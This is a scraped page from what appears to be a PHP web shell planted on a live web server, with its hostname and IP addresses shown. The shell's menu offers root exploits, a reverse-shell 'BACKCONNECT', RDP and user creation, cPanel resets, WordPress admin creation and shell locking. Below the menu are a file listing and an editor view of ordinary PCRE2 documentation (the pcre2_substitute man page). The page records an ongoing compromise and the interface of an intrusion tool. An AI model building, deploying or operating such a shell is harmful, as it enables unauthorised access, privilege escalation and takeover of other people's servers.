Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
pcre2-devel /
html /
[ HOME SHELL ]
Name
Size
Permission
Action
NON-AUTOTOOLS-BUILD.txt
17.35
KB
-rw-r--r--
README.txt
40.99
KB
-rw-r--r--
index.html
13.38
KB
-rw-r--r--
pcre2-config.html
3.42
KB
-rw-r--r--
pcre2.html
9.35
KB
-rw-r--r--
pcre2_callout_enumerate.html
2.37
KB
-rw-r--r--
pcre2_code_copy.html
1.34
KB
-rw-r--r--
pcre2_code_copy_with_tables.ht...
1.46
KB
-rw-r--r--
pcre2_code_free.html
1.21
KB
-rw-r--r--
pcre2_compile.html
4.22
KB
-rw-r--r--
pcre2_compile_context_copy.htm...
1.15
KB
-rw-r--r--
pcre2_compile_context_create.h...
1.24
KB
-rw-r--r--
pcre2_compile_context_free.htm...
1.2
KB
-rw-r--r--
pcre2_config.html
3.49
KB
-rw-r--r--
pcre2_convert_context_copy.htm...
1.13
KB
-rw-r--r--
pcre2_convert_context_create.h...
1.22
KB
-rw-r--r--
pcre2_convert_context_free.htm...
1.19
KB
-rw-r--r--
pcre2_converted_pattern_free.h...
1.22
KB
-rw-r--r--
pcre2_dfa_match.html
3.42
KB
-rw-r--r--
pcre2_general_context_copy.htm...
1.2
KB
-rw-r--r--
pcre2_general_context_create.h...
1.45
KB
-rw-r--r--
pcre2_general_context_free.htm...
1.14
KB
-rw-r--r--
pcre2_get_error_message.html
1.7
KB
-rw-r--r--
pcre2_get_mark.html
1.47
KB
-rw-r--r--
pcre2_get_ovector_count.html
1.05
KB
-rw-r--r--
pcre2_get_ovector_pointer.html
1.12
KB
-rw-r--r--
pcre2_get_startchar.html
1.4
KB
-rw-r--r--
pcre2_jit_compile.html
1.8
KB
-rw-r--r--
pcre2_jit_free_unused_memory.h...
1.3
KB
-rw-r--r--
pcre2_jit_match.html
1.99
KB
-rw-r--r--
pcre2_jit_stack_assign.html
2.5
KB
-rw-r--r--
pcre2_jit_stack_create.html
1.68
KB
-rw-r--r--
pcre2_jit_stack_free.html
1.19
KB
-rw-r--r--
pcre2_maketables.html
1.61
KB
-rw-r--r--
pcre2_match.html
3.49
KB
-rw-r--r--
pcre2_match_context_copy.html
1.14
KB
-rw-r--r--
pcre2_match_context_create.htm...
1.23
KB
-rw-r--r--
pcre2_match_context_free.html
1.19
KB
-rw-r--r--
pcre2_match_data_create.html
1.58
KB
-rw-r--r--
pcre2_match_data_create_from_p...
1.7
KB
-rw-r--r--
pcre2_match_data_free.html
1.21
KB
-rw-r--r--
pcre2_pattern_convert.html
2.6
KB
-rw-r--r--
pcre2_pattern_info.html
4.69
KB
-rw-r--r--
pcre2_serialize_decode.html
2.49
KB
-rw-r--r--
pcre2_serialize_encode.html
2.66
KB
-rw-r--r--
pcre2_serialize_free.html
1.16
KB
-rw-r--r--
pcre2_serialize_get_number_of_...
1.6
KB
-rw-r--r--
pcre2_set_bsr.html
1.17
KB
-rw-r--r--
pcre2_set_callout.html
1.25
KB
-rw-r--r--
pcre2_set_character_tables.htm...
1.21
KB
-rw-r--r--
pcre2_set_compile_extra_option...
1.48
KB
-rw-r--r--
pcre2_set_compile_recursion_gu...
1.63
KB
-rw-r--r--
pcre2_set_depth_limit.html
1.05
KB
-rw-r--r--
pcre2_set_glob_escape.html
1.33
KB
-rw-r--r--
pcre2_set_glob_separator.html
1.3
KB
-rw-r--r--
pcre2_set_heap_limit.html
1.05
KB
-rw-r--r--
pcre2_set_match_limit.html
1.04
KB
-rw-r--r--
pcre2_set_max_pattern_length.h...
1.3
KB
-rw-r--r--
pcre2_set_newline.html
1.53
KB
-rw-r--r--
pcre2_set_offset_limit.html
1.05
KB
-rw-r--r--
pcre2_set_parens_nest_limit.ht...
1.1
KB
-rw-r--r--
pcre2_set_recursion_limit.html
1.07
KB
-rw-r--r--
pcre2_set_recursion_memory_man...
1.22
KB
-rw-r--r--
pcre2_substitute.html
3.99
KB
-rw-r--r--
pcre2_substring_copy_byname.ht...
2.01
KB
-rw-r--r--
pcre2_substring_copy_bynumber....
1.82
KB
-rw-r--r--
pcre2_substring_free.html
1.17
KB
-rw-r--r--
pcre2_substring_get_byname.htm...
2.14
KB
-rw-r--r--
pcre2_substring_get_bynumber.h...
1.98
KB
-rw-r--r--
pcre2_substring_length_byname....
1.33
KB
-rw-r--r--
pcre2_substring_length_bynumbe...
1.48
KB
-rw-r--r--
pcre2_substring_list_free.html
1.18
KB
-rw-r--r--
pcre2_substring_list_get.html
2.09
KB
-rw-r--r--
pcre2_substring_nametable_scan...
1.8
KB
-rw-r--r--
pcre2_substring_number_from_na...
1.61
KB
-rw-r--r--
pcre2api.html
167.89
KB
-rw-r--r--
pcre2build.html
24.21
KB
-rw-r--r--
pcre2callout.html
19.59
KB
-rw-r--r--
pcre2compat.html
10.06
KB
-rw-r--r--
pcre2convert.html
7.7
KB
-rw-r--r--
pcre2demo.html
19.69
KB
-rw-r--r--
pcre2grep.html
46.98
KB
-rw-r--r--
pcre2jit.html
19.57
KB
-rw-r--r--
pcre2limits.html
3.18
KB
-rw-r--r--
pcre2matching.html
10.61
KB
-rw-r--r--
pcre2partial.html
20.34
KB
-rw-r--r--
pcre2pattern.html
152.23
KB
-rw-r--r--
pcre2perform.html
11.57
KB
-rw-r--r--
pcre2posix.html
14.16
KB
-rw-r--r--
pcre2sample.html
3.81
KB
-rw-r--r--
pcre2serialize.html
9.85
KB
-rw-r--r--
pcre2syntax.html
20
KB
-rw-r--r--
pcre2test.html
85.01
KB
-rw-r--r--
pcre2unicode.html
11.87
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : pcre2_substitute.html
<html> <head> <title>pcre2_substitute specification</title> </head> <body bgcolor="#FFFFFF" text="#00005A" link="#0066FF" alink="#3399FF" vlink="#2222BB"> <h1>pcre2_substitute man page</h1> <p> Return to the <a href="index.html">PCRE2 index page</a>. </p> <p> This page is part of the PCRE2 HTML documentation. It was generated automatically from the original man page. If there is any nonsense in it, please consult the man page, in case the conversion went wrong. <br> <br><b> SYNOPSIS </b><br> <P> <b>#include <pcre2.h></b> </P> <P> <b>int pcre2_substitute(const pcre2_code *<i>code</i>, PCRE2_SPTR <i>subject</i>,</b> <b> PCRE2_SIZE <i>length</i>, PCRE2_SIZE <i>startoffset</i>,</b> <b> uint32_t <i>options</i>, pcre2_match_data *<i>match_data</i>,</b> <b> pcre2_match_context *<i>mcontext</i>, PCRE2_SPTR <i>replacement</i>,</b> <b> PCRE2_SIZE <i>rlength</i>, PCRE2_UCHAR *<i>outputbuffer</i>,</b> <b> PCRE2_SIZE *<i>outlengthptr</i>);</b> </P> <br><b> DESCRIPTION </b><br> <P> This function matches a compiled regular expression against a given subject string, using a matching algorithm that is similar to Perl's. It then makes a copy of the subject, substituting a replacement string for what was matched. Its arguments are: <pre> <i>code</i> Points to the compiled pattern <i>subject</i> Points to the subject string <i>length</i> Length of the subject string <i>startoffset</i> Offset in the subject at which to start matching <i>options</i> Option bits <i>match_data</i> Points to a match data block, or is NULL <i>mcontext</i> Points to a match context, or is NULL <i>replacement</i> Points to the replacement string <i>rlength</i> Length of the replacement string <i>outputbuffer</i> Points to the output buffer <i>outlengthptr</i> Points to the length of the output buffer </pre> A match data block is needed only if you want to inspect the data from the match that is returned in that block. A match context is needed only if you want to: <pre> Set up a callout function Set a matching offset limit Change the backtracking match limit Change the backtracking depth limit Set custom memory management in the match context </pre> The <i>length</i>, <i>startoffset</i> and <i>rlength</i> values are code units, not characters, as is the contents of the variable pointed at by <i>outlengthptr</i>, which is updated to the actual length of the new string. The subject and replacement lengths can be given as PCRE2_ZERO_TERMINATED for zero-terminated strings. The options are: <pre> PCRE2_ANCHORED Match only at the first position PCRE2_ENDANCHORED Pattern can match only at end of subject PCRE2_NOTBOL Subject is not the beginning of a line PCRE2_NOTEOL Subject is not the end of a line PCRE2_NOTEMPTY An empty string is not a valid match PCRE2_NOTEMPTY_ATSTART An empty string at the start of the subject is not a valid match PCRE2_NO_JIT Do not use JIT matching PCRE2_NO_UTF_CHECK Do not check the subject or replacement for UTF validity (only relevant if PCRE2_UTF was set at compile time) PCRE2_SUBSTITUTE_EXTENDED Do extended replacement processing PCRE2_SUBSTITUTE_GLOBAL Replace all occurrences in the subject PCRE2_SUBSTITUTE_OVERFLOW_LENGTH If overflow, compute needed length PCRE2_SUBSTITUTE_UNKNOWN_UNSET Treat unknown group as unset PCRE2_SUBSTITUTE_UNSET_EMPTY Simple unset insert = empty string </pre> The function returns the number of substitutions, which may be zero if there were no matches. The result can be greater than one only when PCRE2_SUBSTITUTE_GLOBAL is set. In the event of an error, a negative error code is returned. </P> <P> There is a complete description of the PCRE2 native API in the <a href="pcre2api.html"><b>pcre2api</b></a> page and a description of the POSIX API in the <a href="pcre2posix.html"><b>pcre2posix</b></a> page. <p> Return to the <a href="index.html">PCRE2 index page</a>. </p>
Close